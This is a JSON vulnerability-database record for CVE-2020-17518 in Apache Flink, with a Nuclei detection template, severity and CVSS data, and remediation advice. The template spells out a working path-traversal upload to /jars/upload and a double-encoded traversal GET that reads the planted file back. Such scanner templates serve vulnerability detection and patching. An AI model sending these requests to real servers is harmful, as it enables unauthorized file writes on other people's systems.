{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-17518/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-17518/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-17518/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-17518/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-17518/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-17518"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-17518"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-17518.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2020-17518\n\ninfo:\n  name: Apache Flink 1.5.1 - Local File Inclusion\n  author: pdteam\n  severity: high\n  description: |\n    Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.\n  remediation: |\n    Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518\n    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E\n    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E\n    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-17518\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2020-17518\n    cwe-id: CWE-22,CWE-23\n    epss-score: 0.50038\n    epss-percentile: 0.98851\n    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: flink\n  tags: cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /jars/upload HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y\n\n        ------WebKitFormBoundaryoZ8meKnrrso89R6Y\n        Content-Disposition: form-data; name=\"jarfile\"; filename=\"../../../../../../../tmp/poc\"\n\n        {{randstr}}\n        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--\n      - |\n        GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_2, \"{{randstr}}\") && status_code == 200'\n# digest: 4a0a00473045022055519dd886787c99670664067d037264c79ce5e5fbb1adc4e2ede28565300372022100d4f4f34964766cf466c92ed5569dd8b0d20658e3b14543788b6f583f4ef1e176:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-17518"
}